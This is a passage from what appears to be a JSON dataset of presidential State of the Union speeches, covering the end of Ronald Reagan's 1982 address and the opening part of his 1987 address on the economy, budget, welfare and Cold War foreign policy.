+    "speech": "Mr. Speaker, Mr. President, distinguished Members of the Congress, honored\nguests, and fellow citizens:Today marks my first State of the Union address to you, a constitutional\nduty as old as our Republic itself.President Washington began this tradition in 1790 after reminding the\nNation that the destiny of self-government and the \"preservation of the\nsacred fire of liberty\" is \"finally staked on the experiment entrusted to\nthe hands of the American people.\" For our friends in the press, who place\na high premium on accuracy, let me say: I did not actually hear George\nWashington say that. But it is a matter of historic record.But from this podium, Winston Churchill asked the free world to stand\ntogether against the onslaught of aggression. Franklin Delano Roosevelt\nspoke of a day of infamy and summoned a nation to arms. Douglas MacArthur\nmade an unforgettable farewell to a country he loved and served so well.\nDwight Eisenhower reminded us that peace was purchased only at the price of\nstrength. And John F. Kennedy spoke of the burden and glory that is\nfreedom.When I visited this Chamber last year as a newcomer to Washington, critical\nof past policies which I believed had failed, I proposed a new spirit of\npartnership between this Congress and this administration and between\nWashington and our State and local governments. In forging this new\npartnership for America, we could achieve the oldest hopes of our\nRepublic--prosperity for our nation, peace for the world, and the blessings\nof individual liberty for our children and, someday, for all of humanity.It's my duty to report to you tonight on the progress that we have made in\nour relations with other nations, on the foundation we've carefully laid\nfor our economic recovery, and finally, on a bold and spirited initiative\nthat I believe can change the face of American government and make it again\nthe servant of the people.Seldom have the stakes been higher for America. What we do and say here\nwill make all the difference to autoworkers in Detroit, lumberjacks in the\nNorthwest, steelworkers in Steubenville who are in the unemployment lines;\nto black teenagers in Newark and Chicago; to hard-pressed farmers and small\nbusinessmen; and to millions of everyday Americans who harbor the simple\nwish of a safe and financially secure future for their children. To\nunderstand the state of the Union, we must look not only at where we are\nand where we're going but where we've been. The situation at this time last\nyear was truly ominous.The last decade has seen a series of recessions. There was a recession in\n1970, in 1974, and again in the spring of 1980. Each time, unemployment\nincreased and inflation soon turned up again. We coined the word\n\"stagflation\" to describe this.Government's response to these recessions was to pump up the money supply\nand increase spending. In the last 6 months of 1980, as an example, the\nmoney supply increased at the fastest rate in postwar history--13 percent.\nInflation remained in double digits, and government spending increased at\nan annual rate of 17 percent. Interest rates reached a staggering 21.5\npercent. There were 8 million unemployed.Late in 1981 we sank into the present recession, largely because continued\nhigh interest rates hurt the auto industry and construction. And there was\na drop in productivity, and the already high unemployment increased.This time, however, things are different. We have an economic program in\nplace, completely different from the artificial quick fixes of the past. It\ncalls for a reduction of the rate of increase in government spending, and\nalready that rate has been cut nearly in half. But reduced spending the\nfirst and smallest phase of a 3-year tax rate reduction designed to\nstimulate the economy and create jobs. Already interest rates are down to\n15 3/4 percent, but they must still go lower. Inflation is down from 12.4\npercent to 8.9, and for the month of December it was running at an\nannualized rate of 5.2 percent. If we had not acted as we did, things would\nbe far worse for all Americans than they are today. Inflation, taxes, and\ninterest rates would all be higher.A year ago, Americans' faith in their governmental process was steadily\ndeclining. Six out of 10 Americans were saying they were pessimistic about\ntheir future. A new kind of defeatism was heard. Some said our domestic\nproblems were uncontrollable, that we had to learn to live with this\nseemingly endless cycle of high inflation and high unemployment.There were also pessimistic predictions about the relationship between our\nadministration and this Congress. It was said we could never work together.\nWell, those predictions were wrong. The record is clear, and I believe that\nhistory will remember this as an era of American renewal, remember this\nadministration as an administration of change, and remember this Congress\nas a Congress of destiny.Together, we not only cut the increase in government spending nearly in\nhalf, we brought about the largest tax reductions and the most sweeping\nchanges in our tax structure since the beginning of this century. And\nbecause we indexed future taxes to the rate of inflation, we took away\ngovernment's built-in profit on inflation and its hidden incentive to grow\nlarger at the expense of American workers.Together, after 50 years of taking power away from the hands of the people\nin their States and local communities, we have started returning power and\nresources to them.Together, we have cut the growth of new Federal regulations nearly in half.\nIn 1981 there were 23,000 fewer pages in the Federal Register, which lists\nnew regulations, than there were in 1980. By deregulating oil we've come\ncloser to achieving energy independence and helped bring down the cost of\ngasoline and heating fuel.Together, we have created an effective Federal strike force to combat waste\nand fraud in government. In just 6 months it has saved the taxpayers more\nthan $2 billion, and it's only getting started.Together we've begun to mobilize the private sector, not to duplicate\nwasteful and discredited government programs, but to bring thousands of\nAmericans into a volunteer effort to help solve many of America's social\nproblems.Together we've begun to restore that margin of military safety that ensures\npeace. Our country's uniform is being worn once again with pride.Together we have made a New Beginning, but we have only begun.No one pretends that the way ahead will be easy. In my Inaugural Address\nlast year, I warned that the \"ills we suffer have come upon us over several\ndecades. They will not go away in days, weeks, or months, but they will go\naway . . . because we as Americans have the capacity now, as we've had it\nin the past, to do whatever needs to be done to preserve this last and\ngreatest bastion of freedom.\"The economy will face difficult moments in the months ahead. But the\nprogram for economic recovery that is in place will pull the economy out of\nits slump and put us on the road to prosperity and stable growth by the\nlatter half of this year. And that is why I can report to you tonight that\nin the near future the state of the Union and the economy will be\nbetter--much better--if we summon the strength to continue on the course\nthat we've charted.And so, the question: If the fundamentals are in place, what now? Well, two\nthings. First, we must understand what's happening at the moment to the\neconomy. Our current problems are not the product of the recovery program\nthat's only just now getting underway, as some would have you believe; they\nare the inheritance of decades of tax and tax and spend and spend.Second, because our economic problems are deeply rooted and will not\nrespond to quick political fixes, we must stick to our carefully integrated\nplan for recovery. That plan is based on four commonsense fundamentals:\ncontinued reduction of the growth in Federal spending; preserving the\nindividual and business tax reductions that will stimulate saving and\ninvestment; removing unnecessary Federal regulations to spark productivity;\nand maintaining a healthy dollar and a stable monetary policy, the latter a\nresponsibility of the Federal Reserve System.The only alternative being offered to this economic program is a return to\nthe policies that gave us a trillion-dollar debt, runaway inflation,\nrunaway interest rates and unemployment. The doubters would have us turn\nback the clock with tax increases that would offset the personal tax rate\nreductions already passed by this Congress. Raise present taxes to cut\nfuture deficits, they tell us. Well, I don't believe we should buy that\nargument.There are too many imponderables for anyone to predict deficits or\nsurpluses several years ahead with any degree of accuracy. The budget in\nplace, when I took office, had been projected as balanced. It turned out to\nhave one of the biggest deficits in history. Another example of the\nimponderables that can make deficit projections highly questionable--a\nchange of only one percentage point in unemployment can alter a deficit up\nor down by some $25 billion.As it now stands, our forecast, which we're required by law to make, will\nshow major deficits starting at less than a hundred billion dollars and\ndeclining, but still too high. More important, we're making progress with\nthe three keys to reducing deficits: economic growth, lower interest rates,\nand spending control. The policies we have in place will reduce the deficit\nsteadily, surely, and in time, completely.Higher taxes would not mean lower deficits. If they did, how would we\nexplain that tax revenues more than doubled just since 1976; yet in that\nsame 6-year period we ran the largest series of deficits in our history. In\n1980 tax revenues increased by $54 billion, and in 1980 we had one of our\nall-time biggest deficits. Raising taxes won't balance the budget; it will\nencourage more government spending and less private investment. Raising\ntaxes will slow economic growth, reduce production, and destroy future\njobs, making it more difficult for those without jobs to find them and more\nlikely that those who now have jobs could lose them. So, I will not ask you\nto try to balance the budget on the backs of the American taxpayers.I will seek no tax increases this year, and I have no intention of\nretreating from our basic program of tax relief. I promise to bring the\nAmerican people--to bring their tax rates down and to keep them down, to\nprovide them incentives to rebuild our economy, to save, to invest in\nAmerica's future. I will stand by my word. Tonight I'm urging the American\npeople: Seize these new opportunities to produce, to save, to invest, and\ntogether we'll make this economy a mighty engine of freedom, hope, and\nprosperity again.Now, the budget deficit this year will exceed our earlier expectations. The\nrecession did that. It lowered revenues and increased costs. To some\nextent, we're also victims of our own success. We've brought inflation down\nfaster than we thought we could, and in doing this, we've deprived\ngovernment of those hidden revenues that occur when inflation pushes people\ninto higher income tax brackets. And the continued high interest rates last\nyear cost the government about $5 billion more than anticipated.We must cut out more nonessential government spending and rout out more\nwaste, and we will continue our efforts to reduce the number of employees\nin the Federal work force by 75,000.The budget plan I submit to you on February 8th will realize major savings\nby dismantling the Departments of Energy and Education and by eliminating\nineffective subsidies for business. We'll continue to redirect our\nresources to our two highest budget priorities--a strong national defense\nto keep America free and at peace and a reliable safety net of social\nprograms for those who have contributed and those who are in need.Contrary to some of the wild charges you may have heard, this\nadministration has not and will not turn its back on America's elderly or\nAmerica's poor. Under the new budget, funding for social insurance programs\nwill be more than double the amount spent only 6 years ago. But it would be\nfoolish to pretend that these or any programs cannot be made more efficient\nand economical.The entitlement programs that make up our safety net for the truly needy\nhave worthy goals and many deserving recipients. We will protect them. But\nthere's only one way to see to it that these programs really help those\nwhom they were designed to help. And that is to bring their spiraling costs\nunder control.Today we face the absurd situation of a Federal budget with three-quarters\nof its expenditures routinely referred to as \"uncontrollable.\" And a large\npart of this goes to entitlement programs.Committee after committee of this Congress has heard witness after witness\ndescribe many of these programs as poorly administered and rife with waste\nand fraud. Virtually every American who shops in a local supermarket is\naware of the daily abuses that take place in the food stamp program, which\nhas grown by 16,000 percent in the last 15 years. Another example is\nMedicare and Medicaid--programs with worthy goals but whose costs have\nincreased from 11.2 billion to almost 60 billion, more than 5 times as\nmuch, in just 10 years.Waste and fraud are serious problems. Back in 1980 Federal investigators\ntestified before one of your committees that \"corruption has permeated\nvirtually every area of the Medicare and Medicaid health care industry.\"\nOne official said many of the people who are cheating the system were \"very\nconfident that nothing was going to happen to them.\" Well, something is\ngoing to happen. Not only the taxpayers are defrauded; the people with real\ndependency on these programs are deprived of what they need, because\navailable resources are going not to the needy, but to the greedy.The time has come to control the uncontrollable. In August we made a start.\nI signed a bill to reduce the growth of these programs by $44 billion over\nthe next 3 years while at the same time preserving essential services for\nthe truly needy. Shortly you will receive from me a message on further\nreforms we intend to install--some new, but others long recommended by your\nown congressional committees. I ask you to help make these savings for the\nAmerican taxpayer.The savings we propose in entitlement programs will total some $63 billion\nover 4 Years and will, without affecting social t security, go a long way\ntoward bringing Federal spending under control.But don't be fooled by those who proclaim that spending cuts will deprive\nthe elderly, the needy, and the helpless. The. Federal Government will\nstill subsidize 95 million meals every day. That's one out of seven of all\nthe meals served in America. Head Start, senior nutrition programs, and\nchild welfare programs will not be cut from the levels we proposed last\nyear. More than one-half billion dollars has been proposed for minority\nbusiness assistance. And research at the National Institute of Health will\nbe increased by over $100 million. While meeting all these needs, we intend\nto plug unwarranted tax loopholes and strengthen the law which requires all\nlarge corporations to pay a minimum tax.I am confident the economic program we've put into operation will protect\nthe needy while it triggers a recovery that will benefit all Americans. It\nwill stimulate the economy, result in increased savings and provide capital\nfor expansion, mortgages for homebuilding, and jobs for the unemployed.Now that the essentials of that program are in place, our next major\nundertaking must be a program--just as bold, just as innovative--to make\ngovernment again accountable to the people, to make our system of\nfederalism work again.Our citizens feel they've lost control of even the most basic decisions\nmade about the essential services of government, such as schools, welfare,\nroads, and even garbage collection. And they're right. A maze of\ninterlocking jurisdictions and levels of government confronts average\ncitizens in trying to solve even the simplest of problems. They don't know\nwhere to turn for answers, who to hold accountable, who to praise, who to\nblame, who to vote for or against. The main reason for this is the\noverpowering growth of Federal grants-in-aid programs during the past few\ndecades.In 1960 the Federal Government had 132 categorical grant programs, costing\n$7 billion. When I took office, there were approximately 500, costing\nnearly a hundred billion dollars--13 programs for energy, 36 for pollution\ncontrol, 66 for social services, 90 for education. And here in the\nCongress, it takes at least 166 committees just to try to keep track of\nthem.You know and I know that neither the President nor the Congress can\nproperly oversee this jungle of grants-in-aid; indeed, the growth of these\ngrants has led to the distortion in the vital functions of government. As\none Democratic Governor put it recently: The National Government should be\nworrying about \"arms control, not potholes.\"The growth in these Federal programs has--in the words of one\nintergovernmental commission--made the Federal Government \"more pervasive,\nmore intrusive, more unmanageable, more ineffective and costly, and above\nall, more (un) accountable.\" Let's solve this problem with a single, bold\nstroke: the return of some $47 billion in Federal programs to State and\nlocal government, together with the means to finance them and a transition\nperiod of nearly 10 years to avoid unnecessary disruption.I will shortly send this Congress a message describing this program. I want\nto emphasize, however, that its full details will have been worked out only\nafter close consultation with congressional, State, and local officials.Starting in fiscal 1984, the Federal Government will assume full\nresponsibility for the cost of the rapidly growing Medicaid program to go\nalong with its existing responsibility for Medicare. As part of a\nfinancially equal swap, the States will simultaneously take full\nresponsibility for Aid to Families with Dependent Children and food stamps.\nThis will make welfare less costly and more responsive to genuine need,\nbecause it'll be designed and administered closer to the grass roots and\nthe people it serves.In 1984 the Federal Government will apply the full proceeds from certain\nexcise taxes to a grass roots trust fund that will belong in fair shares to\nthe 50 States. The total amount flowing into this fund will be $28 billion\na year. Over the next 4 years the States can use this money in either of\ntwo ways. If they want to continue receiving Federal grants in such areas\nas transportation, education, and social services, they can use their trust\nfund money to pay for the grants. Or to the extent they choose to forgo the\nFederal grant programs, they can use their trust fund money on their own\nfor those or other purposes. There will be a mandatory pass-through of part\nof these funds to local governments.By 1988 the States will be in complete control of over 40 Federal grant\nprograms. The trust fund will start to phase out, eventually to disappear,\nand the excise taxes will be turned over to the States. They can then\npreserve, lower, or raise taxes on their own and fund and manage these\nprograms as they see fit.In a single stroke we will be accomplishing a realignment that will end\ncumbersome administration and spiraling costs at the Federal level while we\nensure these programs will be more responsive to both the people they're\nmeant to help and the people who pay for them.Hand in hand with this program to strengthen the discretion and flexibility\nof State and local governments, we're proposing legislation for an\nexperimental effort to improve and develop our depressed urban areas in the\n1980's and '90's. This legislation will permit States and localities to\napply to the Federal Government for designation as urban enterprise zones.\nA broad range of special economic incentives in the zones will help attract\nnew business, new jobs, new opportunity to America's inner cities and rural\ntowns. Some will say our mission is to save free enterprise. Well, I say we\nmust free enterprise so that together we can save America.Some will also say our States and local communities are not up to the\nchallenge of a new and creative partnership. Well, that might have been\ntrue 20 years ago before reforms like reapportionment and the Voting Rights\nAct, the 10-year extension of which I strongly support. It's no longer true\ntoday. This administration has faith in State and local governments and the\nconstitutional balance envisioned by the Founding Fathers. We also believe\nin the integrity, decency, and sound, good sense of grass roots Americans.Our faith in the American people is reflected in another major endeavor.\nOur private sector initiatives task force is seeking out successful\ncommunity models of school, church, business, union, foundation, and civic\nprograms that help community needs. Such groups are almost invariably far\nmore efficient than government in running social programs.We're not asking them to replace discarded and often discredited government\nprograms dollar for dollar, service for service. We just want to help them\nperform the good works they choose and help others to profit by their\nexample. Three hundred and eighty-five thousand corporations and private\norganizations are already working on social programs ranging from drug\nrehabilitation to job training, and thousands more Americans have written\nus asking how they can help. The volunteer spirit is still alive and well\nin America.Our nation's long journey towards civil rights for all our citizens--once\na source of discord, now a source of pride--must continue with no\nbacksliding or slowing down. We must and shall see that those basic laws\nthat guarantee equal rights are preserved and, when necessary,\nstrengthened.Our concern for equal rights for women is firm and unshakable. We launched\na new Task Force on Legal Equity for Women and a Fifty States Project that\nwill examine State laws for discriminatory language. And for the first time\nin our history, a woman sits on the highest court in the land.So, too, the problem of crime--one as real and deadly serious as any in\nAmerica today. It demands that we seek transformation of our legal system,\nwhich overly protects the rights of criminals while it leaves society and\nthe innocent victims of crime without justice.We look forward to the enactment of a responsible clean air act to increase\njobs while continuing to improve the quality of our air. We're encouraged\nby the bipartisan initiative of the House and are hopeful of further\nprogress as the Senate continues its deliberations.So far, I've concentrated largely, now, on domestic matters. To view the\nstate of the Union in perspective, we must not ignore the rest of the\nworld. There isn't time tonight for a lengthy treatment of social--or\nforeign policy, I should say, a subject I intend to address in detail in\nthe near future. A few words, however, are in order on the progress we've\nmade over the past year, reestablishing respect for our nation around the\nglobe and some of the challenges and goals that we will approach in the\nyear ahead.At Ottawa and Cancun, I met with leaders of the major industrial powers and\ndeveloping nations. Now, some of those I met with were a little surprised\nthat I didn't apologize for America's wealth. Instead, I spoke of the\nstrength of the free marketplace system and how that system could help them\nrealize their aspirations for economic development and political freedom. I\nbelieve lasting friendships were made, and the foundation was laid for\nfuture cooperation.In the vital region of the Caribbean Basin, we're developing a program of\naid, trade, and investment incentives to promote self-sustaining growth and\na better, more secure life for our neighbors to the south. Toward those who\nwould export terrorism and subversion in the Caribbean and elsewhere,\nespecially Cuba and Libya, we will act with firmness.Our foreign policy is a policy of strength, fairness, and balance. By\nrestoring America's military credibility, by pursuing peace at the\nnegotiating table wherever both sides are willing to sit down in good\nfaith, and by regaining the respect of America's allies and adversaries\nalike, we have strengthened our country's position as a force for peace and\nprogress in the world.When action is called for, we're taking it. Our sanctions against the\nmilitary dictatorship that has attempted to crush human rights in\nPoland--and against the Soviet regime behind that military\ndictatorship--clearly demonstrated to the world that America will not\nconduct \"business as usual\" with the forces of oppression. If the events in\nPoland continue to deteriorate, further measures will follow.Now, let me also note that private American groups have taken the lead in\nmaking January 30th a day of solidarity with the people of Poland. So, too,\nthe European Parliament has called for March 21st to be an international\nday of support for Afghanistan. Well, I urge all peace-loving peoples to\njoin together on those days, to raise their voices, to speak and pray for\nfreedom.Meanwhile, we're working for reduction of arms and military activities, as\nI announced in my address to the Nation last November 18th. We have\nproposed to the Soviet Union a far-reaching agenda for mutual reduction of\nmilitary forces and have already initiated negotiations with them in Geneva\non intermediate-range nuclear forces. In those talks it is essential that\nwe negotiate from a position of strength. There must be a real incentive\nfor the Soviets to take these talks seriously. This requires that we\nrebuild our defenses.In the last decade, while we sought the moderation of Soviet power through\na process of restraint and accommodation, the Soviets engaged in an\nunrelenting buildup of their military forces. The protection of our\nnational security has required that we undertake a substantial program to\nenhance our military forces.We have not neglected to strengthen our traditional alliances in Europe and\nAsia, or to develop key relationships with our partners in the Middle East\nand other countries. Building a more peaceful world requires a sound\nstrategy and the national resolve to back it up. When radical forces\nthreaten our friends, when economic misfortune creates conditions of\ninstability, when strategically vital parts of the world fall under the\nshadow of Soviet power, our response can make the difference between\npeaceful change or disorder and violence. That's why we've laid such stress\nnot only on our own defense but on our vital foreign assistance program.\nYour recent passage of the Foreign Assistance Act sent a signal to the\nworld that America will not shrink from making the investments necessary\nfor both peace and security. Our foreign policy must be rooted in realism,\nnot naivete or self-delusion.A recognition of what the Soviet empire is about is the starting point.\nWinston Churchill, in negotiating with the Soviets, observed that they\nrespect only strength and resolve in their dealings with other nations.\nThat's why we've moved to reconstruct our national defenses. We intend to\nkeep the peace. We will also keep our freedom.We have made pledges of a new frankness in our public statements and\nworldwide broadcasts. In the face of a climate of falsehood and\nmisinformation, we've promised the world a season of truth--the truth of\nour great civilized ideas: individual liberty, representative government,\nthe rule of law under God. We've never needed walls or minefields or barbed\nwire to keep our people in. Nor do we declare martial law to keep our\npeople from voting for the kind of government they want.Yes, we have our problems; yes, we're in a time of recession. And it's\ntrue, there's no quick fix, as I said, to instantly end the tragic pain of\nunemployment. But we will end it. The process has already begun, and we'll\nsee its effect as the year goes on.We speak with pride and admiration of that little band of Americans who\novercame insuperable odds to set this nation on course 200 years ago. But\nour glory didn't end with them. Americans ever since have emulated their\ndeeds.We don't have to turn to our history books for heroes. They're all around\nus. One who sits among you here tonight epitomized that heroism at the end\nof the longest imprisonment ever inflicted on men of our Armed Forces. Who\nwill ever forget that night when we waited for television to bring us the\nscene of that first plane landing at Clark Field in the Philippines,\nbringing our POW's home? The plane door opened and Jeremiah Denton came\nslowly down the ramp. He caught sight of our flag, saluted it, said, \"God\nbless America,\" and then thanked us for bringing him home.Just 2 weeks ago, in the midst of a terrible tragedy on the Potomac, we saw\nagain the spirit of American heroism at its finest--the heroism of\ndedicated rescue workers saving crash victims from icy waters. And we saw\nthe heroism of one of our young government employees, Lenny Skutnik, who,\nwhen he saw a woman lose her grip on the helicopter line, dived into the\nwater and dragged her to safety.And then there are countless, quiet, everyday heroes of American who\nsacrifice long and hard so their children will know a better life than\nthey've known; church and civic volunteers who help to feed, clothe, nurse,\nand teach the needy; millions who've made our nation and our nation's\ndestiny so very special--unsung heroes who may not have realized their own\ndreams themselves but then who reinvest those dreams in their children.\nDon't let anyone tell you that America's best days are behind her, that the\nAmerican spirit has been vanquished. We've seen it triumph too often in our\nlives to stop believing in it now.A hundred and twenty years ago, the greatest of all our Presidents\ndelivered his second State of the Union message in this Chamber. \"We cannot\nescape history,\" Abraham Lincoln warned. \"We of this Congress and this\nadministration will be remembered in spite of ourselves.\" The \"trial\nthrough which we pass will light us down, in honor or dishonor, to the\nlatest (last) generation.\"Well, that President and that Congress did not fail the American people.\nTogether they weathered the storm and preserved the Union. Let it be said\nof us that we, too, did not fail; that we, too, worked together to bring\nAmerica through difficult times. Let us so conduct ourselves that two\ncenturies from now, another Congress and another President, meeting in this\nChamber as we are meeting, will speak of us with pride, saying that we met\nthe test and preserved for them in their day the sacred flame of\nliberty--this last, best hope of man on Earth.God bless you, and thank you.NOTE: The President spoke at 9 p.m. in the House Chamber at the Capitol.\nHe was introduced by Thomas P. O'Neill, Jr., Speaker of the House of\nRepresentatives. The address was broadcast live on nationwide radio\nand television.", 
+    "name": "Ronald Reagan"
+}
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+{
+    "date": "January 27, 1987", 
+    "speech": "Mr. Speaker, Mr. President, distinguished Members of Congress, honored\nguests, and fellow citizens:May I congratulate all of you who are Members of this historic 100th\nCongress of the United States of America. In this 200th anniversary year of\nour Constitution, you and I stand on the shoulders of giants--men whose\nwords and deeds put wind in the sails of freedom. However, we must always\nremember that our Constitution is to be celebrated not for being old, but\nfor being young--young with the same energy, spirit, and promise that\nfilled each eventful day in Philadelphia's statehouse. We will be guided\ntonight by their acts, and we will be guided forever by their words.Now, forgive me, but I can't resist sharing a story from those historic\ndays. Philadelphia was bursting with civic pride in the spring of 1787, and\nits newspapers began embellishing the arrival of the Convention delegates\nwith elaborate social classifications. Governors of States were called\nExcellency. Justices and Chancellors had reserved for them honorable with a\ncapital \"H.\" For Congressmen, it was honorable with a small \"h.\" And all\nothers were referred to as \"the following respectable characters.\" Well,\nfor this 100th Congress, I invoke special executive powers to declare that\neach of you must never be titled less than honorable with a capital \"H.\"\nIncidentally, I'm delighted you are celebrating the 100th birthday of the\nCongress. It's always a pleasure to congratulate someone with more\nbirthdays than I've had.Now, there's a new face at this place of honor tonight. And please join me\nin warm congratulations to the Speaker of the House, Jim Wright. Mr.\nSpeaker, you might recall a similar situation in your very first session of\nCongress 32 years ago. Then, as now, the speakership had changed hands and\nanother great son of Texas, Sam Rayburn--\"Mr. Sam\"--sat in your chair. I\ncannot find better words than those used by President Eisenhower that\nevening. He said, \"We shall have much to do together; I am sure that we\nwill get it done and that we shall do it in harmony and good will.\" Tonight\nI renew that pledge. To you, Mr. Speaker, and to Senate Majority Leader\nRobert Byrd, who brings 34 years of distinguished service to the Congress,\nmay I say: Though there are changes in the Congress, America's interests\nremain the same. And I am confident that, along with Republican leaders Bob\nMichel and Bob Dole, this Congress can make history.Six years ago I was here to ask the Congress to join me in America's new\nbeginning. Well, the results are something of which we can all be proud.\nOur inflation rate is now the lowest in a quarter of a century. The prime\ninterest rate has fallen from the 21 1/2 percent the month before we took\noffice to 7 1/2 percent today. And those rates have triggered the most\nhousing starts in 8 years. The unemployment rate--still too high--is the\nlowest in nearly 7 years, and our people have created nearly 13 million new\njobs. Over 61 percent of everyone over the age of 16, male and female, is\nemployed--the highest percentage on record. Let's roll up our sleeves and\ngo to work and put America's economic engine at full throttle. We can also\nbe heartened by our progress across the world. Most important, America is\nat peace tonight, and freedom is on the march. And we've done much these\npast years to restore our defenses, our alliances, and our leadership in\nthe world. Our sons and daughters in the services once again wear their\nuniforms with pride.But though we've made much progress, I have one major regret: I took a risk\nwith regard to our action in Iran. It did not work, and for that I assume\nfull responsibility. The goals were worthy. I do not believe it was wrong\nto try to establish contacts with a country of strategic importance or to\ntry to save lives. And certainly it was not wrong to try to secure freedom\nfor our citizens held in barbaric captivity. But we did not achieve what we\nwished, and serious mistakes were made in trying to do so. We will get to\nthe bottom of this, and I will take whatever action is called for. But in\ndebating the past, we must not deny ourselves the successes of the future.\nLet it never be said of this generation of Americans that we became so\nobsessed with failure that we refused to take risks that could further the\ncause of peace and freedom in the world. Much is at stake here, and the\nNation and the world are watching to see if we go forward together in the\nnational interest or if we let partisanship weaken us. And let there be no\nmistake about American policy: We will not sit idly by if our interests or\nour friends in the Middle East are threatened, nor will we yield to\nterrorist blackmail.And now, ladies and gentlemen of the Congress, why don't we get to work? I\nam pleased to report that because of our efforts to rebuild the strength of\nAmerica, the world is a safer place. Earlier this month I submitted a\nbudget to defend America and maintain our momentum to make up for neglect\nin the last decade. Well, I ask you to vote out a defense and foreign\naffairs budget that says yes to protecting our country. While the world is\nsafer, it is not safe.Since 1970 the Soviets have invested $500 billion more on their military\nforces than we have. Even today, though nearly 1 in 3 Soviet families is\nwithout running hot water and the average family spends 2 hours a day\nshopping for the basic necessities of life, their government still found\nthe resources to transfer $75 billion in weapons to client states in the\npast 5 years--clients like Syria, Vietnam, Cuba, Libya, Angola, Ethiopia,\nAfghanistan, and Nicaragua. With 120,000 Soviet combat and military\npersonnel and 15,000 military advisers in Asia, Africa, and Latin America,\ncan anyone still doubt their single-minded determination to expand their\npower? Despite this, the Congress cut my request for critical U.S. security\nassistance to free nations by 21 percent this year, and cut defense\nrequests by $85 billion in the last 3 years.These assistance programs serve our national interests as well as mutual\ninterests. And when the programs are devastated, American interests are\nharmed. My friends, it's my duty as President to say to you again tonight\nthat there is no surer way to lose freedom than to lose our resolve. Today\nthe brave people of Afghanistan are showing that resolve. The Soviet Union\nsays it wants a peaceful settlement in Afghanistan, yet it continues a\nbrutal war and props up a regime whose days are clearly numbered. We are\nready to support a political solution that guarantees the rapid withdrawal\nof all Soviet troops and genuine self-determination for the Afghan people.In Central America, too, the cause of freedom is being tested. And our\nresolve is being tested there as well. Here, especially, the world is\nwatching to see how this nation responds. Today over 90 percent of the\npeople of Latin America live in democracy. Democracy is on the march in\nCentral and South America. Communist Nicaragua is the odd man\nout--suppressing the church, the press, and democratic dissent and\npromoting subversion in the region. We support diplomatic efforts, but\nthese efforts can never succeed if the Sandinistas win their war against\nthe Nicaraguan people.Our commitment to a Western Hemisphere safe from aggression did not occur\nby spontaneous generation on the day that we took office. It began with the\nMonroe Doctrine in 1823 and continues our historic bipartisan American\npolicy. Franklin Roosevelt said we \"are determined to do everything\npossible to maintain peace on this hemisphere.\" President Truman was very\nblunt: \"International communism seeks to crush and undermine and destroy\nthe independence of the Americas. We cannot let that happen here.\" And John\nF. Kennedy made clear that \"Communist domination in this hemisphere can\nnever be negotiated.\" Some in this Congress may choose to depart from this\nhistoric commitment, but I will not.This year we celebrate the second century of our Constitution. The\nSandinistas just signed theirs 2 weeks ago, and then suspended it. We won't\nknow how my words tonight will be reported there for one simple reason:\nThere is no free press in Nicaragua. Nicaraguan freedom fighters have never\nasked us to wage their battle, but I will fight any effort to shut off\ntheir lifeblood and consign them to death, defeat, or a life without\nfreedom. There must be no Soviet beachhead in Central America.You know, we Americans have always preferred dialog to conflict, and so, we\nalways remain open to more constructive relations with the Soviet Union.\nBut more responsible Soviet conduct around the world is a key element of\nthe U.S.-Soviet agenda. Progress is also required on the other items of our\nagenda as well--real respect for human rights and more open contacts\nbetween our societies and, of course, arms reduction.In Iceland, last October, we had one moment of opportunity that the Soviets\ndashed because they sought to cripple our Strategic Defense Initiative,\nSDI. I wouldn't let them do it then; I won't let them do it now or in the\nfuture. This is the most positive and promising defense program we have\nundertaken. It's the path, for both sides, to a safer future--a system that\ndefends human life instead of threatening it. SDI will go forward. The\nUnited States has made serious, fair, and far-reaching proposals to the\nSoviet Union, and this is a moment of rare opportunity for arms reduction.\nBut I will need, and American negotiators in Geneva will need, Congress'\nsupport. Enacting the Soviet negotiating position into American law would\nnot be the way to win a good agreement. So, I must tell you in this\nCongress I will veto any effort that undercuts our national security and\nour negotiating leverage.Now, today, we also find ourselves engaged in expanding peaceful commerce\nacross the world. We will work to expand our opportunities in international\nmarkets through the Uruguay round of trade negotiations and to complete an\nhistoric free trade arrangement between the world's two largest trading\npartners, Canada and the United States. Our basic trade policy remains the\nsame: We remain opposed as ever to protectionism, because America's growth\nand future depend on trade. But we would insist on trade that is fair and\nfree. We are always willing to be trade partners but never trade patsies.Now, from foreign borders let us return to our own, because America in the\nworld is only as strong as America at home. This 100th Congress has high\nresponsibilities. I begin with a gentle reminder that many of these are\nsimply the incomplete obligations of the past. The American people deserve\nto be impatient, because we do not yet have the public house in order.\nWe've had great success in restoring our economic integrity, and we've\nrescued our nation from the worst economic mess since the Depression. But\nthere's more to do. For starters, the Federal deficit is outrageous. For\nyears I've asked that we stop pushing onto our children the excesses of our\ngovernment. And what the Congress finally needs to do is pass a\nconstitutional amendment that mandates a balanced budget and forces\ngovernment to live within its means. States, cities, and the families of\nAmerica balance their budgets. Why can't we?Next, the budget process is a sorry spectacle. The missing of deadlines and\nthe nightmare of monstrous continuing resolutions packing hundreds of\nbillions of dollars of spending into one bill must be stopped. We ask the\nCongress once again: Give us the same tool that 43 Governors have--a\nlineitem veto so we can carve out the boondoggles and pork, those items\nthat would never survive on their own. I will send the Congress broad\nrecommendations on the budget, but first I'd like to see yours. Let's go to\nwork and get this done together.But now let's talk about this year's budget. Even though I have submitted\nit within the Gramm-Rudman-Hollings deficit reduction target, I have seen\nsuggestions that we might postpone that timetable. Well, I think the\nAmerican people are tired of hearing the same old excuses. Together we made\na commitment to balance the budget. Now let's keep it. As for those\nsuggestions that the answer is higher taxes, the American people have\nrepeatedly rejected that shop-worn advice. They know that we don't have\ndeficits because people are taxed too little. We have deficits because big\ngovernment spends too much.Now, next month I'll place two additional reforms before the Congress.\nWe've created a welfare monster that is a shocking indictment of our sense\nof priorities. Our national welfare system consists of some 59 major\nprograms and over 6,000 pages of Federal laws and regulations on which more\nthan $132 billion was spent in 1985. I will propose a new national welfare\nstrategy, a program of welfare reform through State-sponsored,\ncommunity-based demonstration projects. This is the time to reform this\noutmoded social dinosaur and finally break the poverty trap. Now, we will\nnever abandon those who, through no fault of their own, must have our help.\nBut let us work to see how many can be freed from the dependency of welfare\nand made self-supporting, which the great majority of welfare recipients\nwant more than anything else. Next, let us remove a financial specter\nfacing our older Americans: the fear of an illness so expensive that it can\nresult in having to make an intolerable choice between bankruptcy and\ndeath. I will submit legislation shortly to help free the elderly from the\nfear of catastrophic illness.Now let's turn to the future. It's widely said that America is losing her\ncompetitive edge. Well, that won't happen if we act now. How well prepared\nare we to enter the 21st century? In my lifetime, America set the standard\nfor the world. It is now time to determine that we should enter the next\ncentury having achieved a level of excellence unsurpassed in history. 